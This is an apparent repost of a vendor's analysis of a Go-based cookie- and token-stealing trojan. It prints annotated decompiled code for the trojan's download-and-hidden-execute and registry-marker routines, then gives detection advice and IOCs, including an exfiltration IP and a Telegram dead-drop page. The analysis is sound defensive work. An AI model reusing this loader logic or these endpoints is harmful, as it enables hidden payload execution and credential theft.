盗签伪装内存匿踪│Go语言双层窃密木马攻击分析"

admin 2026-10-17 23:57:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

盗签伪装 内存匿踪│Go语言双层窃密木马攻击分析

原创

火绒安全
火绒安全

火绒安全

2026年8月31日 16:30
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

// 程序: 内层内存组件// 函数: 0x140008D64(Loader 模式请求)、0x140009324(下载与执行)、0x140028A20(装机标记写入)// 作用: 下载任意文件落盘后按扩展名隐藏执行,并写入按卷序列号命名的装机标记// 说明: 落盘体校验 size≥0x400 且以 MZ 开头;响应按 key:value 切分逐项派发;标记先读后写/* Loader 模式请求(FUN_140008D64)——按冒号切分响应并逐项派发: */
ulonglong FUN_140008d64(longlong param_1,int param_2)
{
  do {  // 逐字符扫描整段响应,按分隔符切分派发
    cVar1 = local_838[uVar7];  // 取当前字符
    if ((cVar1 == '|') || (cVar1 == '\\0')) {  // 遇段分隔符或串尾则处理一段
      local_838[uVar7] = '\\0';  // 以串尾覆盖分隔符,截断当前段
      pcVar6 = local_838 + uVar4;  // 指向当前段起点(紧接上一段之后)
      cVar2 = *pcVar6;  // 取段首字符
      while ((cVar2 != '\\0' && (cVar2 != ':'))) {  // 跳过键名,定位冒号分隔符
        pcVar6 = pcVar6 + 1;  // 前移指针
        cVar2 = *pcVar6;  // 取下一字符
      }
      if (*pcVar6 == ':') {  // 确认找到 key:value 中的冒号
        *pcVar6 = '\\0';  // 截断键名,pcVar6+1 即为取值起点
        uVar9 = (ulonglong)((int)uVar9 + 1);  // 成功解析的段计数 +1
        iVar3 = FUN_140009324(param_1,pcVar6 + 1);  // 将取值派发给下载执行例程
        if (iVar3 != 0) {  // 派发成功
          uVar10 = (ulonglong)((int)uVar10 + 1);  // 成功执行的计数 +1
        }
      }
      iVar3 = (int)uVar9;  // 记录已解析段数
      uVar4 = uVar7 + 1;  // 下一段起点越过当前分隔符
      if (cVar1 == '\\0') break;  // 到串尾则结束扫描
    }
    iVar3 = (int)uVar9;  // 更新已解析段数
    uVar7 = uVar7 + 1;  // 前移到下一字符
  } while (uVar7 <= uVar8);  // 直到扫描完整个响应缓冲区
}/* 下载与执行(FUN_140009324)——下载体长度下限、MZ 头校验与按扩展名隐藏执行: */
undefined8 FUN_140009324(longlong param_1,undefined8 param_2,char *param_3)
{
  if (((iVar1 == 0) || (CONCAT71(uStack_517,local_518) == 0)) || (local_510 < 100)) {  // 下载失败或体积过小则放弃
    FUN_140004400(&local_518);  // 释放响应缓冲
    FUN_14000e3e8(2,&DAT_1400770b0);  // 记录错误
    return 0;  // 返回失败
  }
  if (((local_510 < 0x400) || (*(char *)CONCAT71(uStack_517,local_518) != 'M')) ||
     (((char *)CONCAT71(uStack_517,local_518))[1] != 'Z')) {  // 落盘体长度 < 0x400 或非 MZ 头则校验失败
    FUN_140004400(&local_518);  // 释放响应缓冲
    FUN_14000e3e8(2,&DAT_140077148,local_510);  // 记录长度
    FUN_1400295c0(local_4c8);  // 清理落盘路径缓冲
    return 0;  // 返回失败
  }/* 校验通过:按扩展名选择隐藏执行模板,以 CREATE_NO_WINDOW(0x8000000)启动: */
  uVar2 = FUN_140023c30(&DAT_140077080);  // 按解密名解析执行模板选择接口
  pcVar4 = (code *)FUN_1400247a4(uVar2);  // 取得按扩展名选解释器的函数指针
  if (pcVar4 == (code *)0x0) {  // 未解析到执行入口
    FUN_14000e3e8(2,&DAT_140077178);  // 记录缺失
  }
  else {  // 已解析到执行入口
    FUN_14002540c(local_3b8,0x68);  // 初始化启动信息结构
    local_3b8[0] = 0x68;  // 结构大小字段
    local_37c = 1;  // 标志位
    FUN_14002540c(&local_4e8,0x18);  // 初始化进程信息结构
    /* 按扩展名选择执行模板(三类路由): */
    iVar1 = FUN_14002f110(local_4c8,&DAT_1400770f0);  // 比对类型一扩展名
    if (iVar1 == 0) {  // 类型一
      iVar1 = FUN_14002f110(local_4c8,&DAT_1400770fc);  // 比对类型二
      if (iVar1 == 0) { puVar5 = &DAT_140077228; }  // 类型二模板
      else { puVar5 = &DAT_1400771d0; }  // 默认模板
      FUN_14002f618(local_238,0x208,puVar5,local_4c8);  // 装配命令行
    }
    else {  // 非类型一
      FUN_14002f618(local_238,0x208,&DAT_1400771a0,local_4c8);  // 装配命令行
      if ((param_3 != (char *)0x0) && (*param_3 != '\\0')) {  // 存在附加参数
        FUN_14002e4f4(local_238,0x208,&DAT_140077094);  // 追加参数前缀
        FUN_14002e4f4(local_238,0x208,param_3);  // 追加附加参数
      }
    }
    iVar1 = (*pcVar4)(0,local_238,0,0,0,0x8000000,0,0,local_3b8,&local_4e8);  // 按扩展名隐藏执行(CREATE_NO_WINDOW)
    if (iVar1 != 0) {  // 执行成功
      FUN_14000e3e8(4,&DAT_140077248,local_4c8,local_4d8);  // 记录成功
      return 1;  // 返回成功
    }
  }
}/* 装机标记(FUN_140028A20)——TS_ 格式串解密与注册表接口运行时解析: */
ulonglong FUN_140028a20(void)
{
  local_1e8[0] = 0x66;
  local_res8 = CONCAT44((int)(local_res8 >> 0x20),(uint)local_1e8) ^ 0x60470300;
  local_2c8 = 0xf6;
  local_2a4 = 0x5f;
  if (DAT_14007f9c0 != '\\0') {
    return (ulonglong)((uint)local_1e8 ^ 0x60470300);
  }
  FUN_140001364(&DAT_140046f1d,0x33,&DAT_14004b8b4,&DAT_14007f7e8);  // 解密 TS_ 前缀格式串到 DAT_14007f7e8
  /* 值名 local_2f8 由卷序列号拼为 8 位十六进制,TS_ 前缀由 DAT_14007f7e8 给出: */
  /* 注册表 5 个 API 按解密名运行时解析(开/读/写/建/关): */
  pcVar7 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f778));  // 打开键
  pcVar8 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f790));  // 读值
  pcVar9 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f7a8));  // 写值
  pcVar10 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f7c0));  // 创建键
  FUN_140023c30(&DAT_14007f7d8);  // 解析关闭接口
  pcVar11 = (code *)FUN_140024514(lVar6);  // 关闭键
  if ((((pcVar7 == (code *)0x0) || (pcVar8 == (code *)0x0)) || (pcVar9 == (code *)0x0)) ||
     ((pcVar10 == (code *)0x0 || (pcVar11 == (code *)0x0)))) goto LAB_1400290c4;  // 任一接口解析失败则跳转至清理返回
  /* 先读后写——已存在且长度 > 6 则幂等早退,否则创建并写入 8 字节: */
  iVar5 = (*pcVar7)(0x80000001,&DAT_14007f7e8,0,0x20019,puVar15);  // 以 KEY_READ 打开 Explorer 键
  if (iVar5 == 0) {  // 打开成功
    puVar16 = local_res18;  // 指向返回值大小缓冲
    puVar15 = (ulonglong *)&DAT_14007f9c0;  // 取值目标为装机标记全局
    local_res18[0] = 8;  // 期望读取 8 字节
    local_res10[0] = 0;  // 值类型初值
    iVar5 = (*pcVar8)(local_res8,local_2f8,0,local_res10,&DAT_14007f9c0,puVar16);  // 读取以卷序列号命名的标记值
    uVar17 = (undefined4)((ulonglong)puVar16 >> 0x20);  // 保存返回大小高 32 位供后续创建使用
    if (((iVar5 == 0) && (local_res10[0] == 1)) && ((DAT_14007f9c0 != '\\0' && (6 < local_res18[0]))
       ) {  // 标记已存在且长度 > 6,则幂等早退
      DAT_14007f9c7 = 0;  // 清除标记存在标志
      uVar12 = (*pcVar11)(local_res8);  // 关闭键句柄
      return uVar12;  // 直接返回,不重复写入
    }
    (*pcVar11)(local_res8);  // 读取分支下关闭键句柄
  }
  FUN_1400290d0();  // 跳转点/清理:分配新键句柄上下文
  local_res20[0] = 0;  // 初始化类型缓冲
  local_res8 = 0;  // 清空键句柄
  uVar12 = (*pcVar9)(0x80000001,&DAT_14007f7e8,0,0,(ulonglong)puVar15 & 0xffffffff00000000,
                     CONCAT44(uVar17,0x20006),0,&local_res8,local_res20);  // 以 KEY_CREATE_SUB_KEY 创建/打开键
  if ((int)uVar12 != 0) {  // 创建失败
    return uVar12;  // 返回错误码
  }
  (*pcVar10)(local_res8,local_2f8,0,1,&DAT_14007f9c0,8);  // 写入 8 字节装机标记值(按卷序列号命名)
  uVar12 = (*pcVar11)(local_res8);  // 关闭键句柄
  return uVar12;  // 函数返回
}

三个模板均通过隐藏窗口标志启动:其中powershell.exe分支附加了绕过执行策略及不加载配置文件的参数,而.dll分支则由rundll32.exe加载,导致其父进程链显示为命令处理器或系统宿主程序,而非样本本身。装机标记被写入当前用户的Explorer注册表项,值名称由卷序列号生成,值数据为7位随机十六进制字符串;采用先读取后写入的机制,确保重复感染时不会生成新值,可作为主机侧判断复发的依据。

06

检测与响应建议

该样本采用反射加载PE、隐藏浏览器进程及数据窃取通信等行为,可从以下维度进行检测:

  • 内存行为检测方面,通过扫描内存识别异常的可执行映像,重点关注未映射至磁盘文件但具有PE结构的可执行内存区域。该方法结合线程起始地址、内存权限及调用关系,识别通过反射加载方式执行的恶意模块。同时,对浏览器进程中的异常内存写入、远程线程创建及非正常模块加载行为进行关联分析。
  • 进程行为检测方面,监控异常创建的Chrome或Chromium进程,重点关注无界面启动参数、异常的父子进程关系以及后台驻留行为。检测通过挂起进程并结合异步过程调用触发执行的异常执行链路。综合进程创建时间、线程注入行为及命令行参数,识别伪装为正常浏览器活动的攻击行为。
  • 网络行为检测方面,在网络流量中识别样本通信协议特征,包括固定的20位十六进制边界字符串及token、file\_data等字段。结合HTTP请求结构、上传数据内容及通信目标,识别浏览器数据收集与外传行为。
  • 主机行为检测,监控注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer路径下,以TS\_开头的异常注册表值变化,结合注册表修改时间、进程来源及关联执行链,判断变化是否由该样本产生。

火绒安全建议用户启用安全防护产品的主动防护功能并确保病毒库处于最新状态。鉴于该样本有别于常规木马,其主要目的在于窃取用户的Cookie、Token等身份认证信息,为保障您的账户与隐私安全,若发现异常情况,建议及时对常用服务的账户密码进行修改,保障自身信息安全。

附录 A:IOC 与指标清单

样本与载荷哈希

项目 值
外层样本 SHA-256 2995ffb73342453b258926ec865c724e3567eee1bb8eb35d61796ee0c4f25105
外层样本 SHA-1 488d2dd8768e3b804179e7f0cdcebd0a7eec52b3
内层 PE SHA-256 223c54516ac447a0353a160afe0af2108927a534f65b0354aec299e5c984c2c4
内层 PE 体积 351,744 字节(0x55E00)
外层内嵌密文块 文件偏移 0xFE8F0 起,长度 0x55E00(351,744 字节)

表 A-1:样本与载荷哈希与身份

外传中继端点

端点 类型 说明
https://135.181.237.59 直连 IP 裸 IP 直接承接表单上传,无域名承载
https://telegram.me/hgo9tx 寄生合法平台页面 公开页面正文承载下一跳投递地址

表 A-2:外传中继端点

主机侧指标

项目 值
注册表装机标记 TS\\_ + 8 位十六进制卷序列号,值数据为 7 位十六进制随机串(示例 TS\\_1A2B3C4D → 7 字符伪随机值;写入 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer)
上传边界串形态 ---- 拼接 20 位十六进制随机串
无头浏览器命令行特征 --no-first-run --disable-extensions --headless --disable-logging --log-level=3 about:blank
二级投放执行模板 powershell.exe(Bypass + Hidden)、cmd /c start、rundll32.exe

表 A-3:主机侧指标

配置指纹(加密串层)

项目 值
botnet 标识 702ef1b4007f07887e9faaee0667b50b(32 位十六进制)
版本标识 1.5
dead-drop 页面标记串 m1m1y6
完整用户代理 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

表 A-4:配置指纹(加密串层)

上述标识符仅在内存态配置解密后可见,磁盘文件与静态字符串扫描均不呈现,适合作为内存取证与配置提取后的归因比对依据。

加密与传输参数

加密参数

项目 值
对称算法 AES-256-GCM(BCryptOpenAlgorithmProvider \"AES\" + ChainingModeGCM,12 字节 nonce)
密钥来源 64 位十六进制配置令牌(如 4f8a2b1c9d3e7f6a0b5c1d8e2f9a4b7c6d3e0f1a2b5c8d9e0f1a2b3c4d5e6f7a),按字节解码为 32 字节
调用统计 281 次加密调用,密钥一致;0 次解密调用

表 B-1:加密参数

传输参数

项目 值
传输库解析 WinHTTP 导出按名称哈希解析(12 项解析 + 第 13 项独立解析)
请求方法 multipart/form-data POST
正文编码 仅 base64,无二次加密
文件上传字段名 token、build\_id、file\_name、file\_data
模式请求字段名 token、build\_id、mode
边界串 ---- + 20 位十六进制
默认用户代理 Mozilla/5.0(另含 Firefox/140.0 macOS 标识)

表 B-2:传输参数

关于火绒

火绒安全成立于2011年,是一家专注、纯粹的安全公司,致力于在终端安全领域为用户提供专业的产品和专注的服务,并持续对外赋能反病毒引擎等相关自主研发技术。多年来,火绒安全产品凭借“专业、干净、轻巧”的特点收获了广大用户的良好口碑。火绒企业版产品更是针对企业内外网脆弱的环节,拓展了企业对于终端管理的范围和方式,提升了产品的兼容性、易用性,最终实现更直观的将威胁可视化、让管理轻便化,充分达到保护企业信息安全的目的。

点点赞

点分享

点喜欢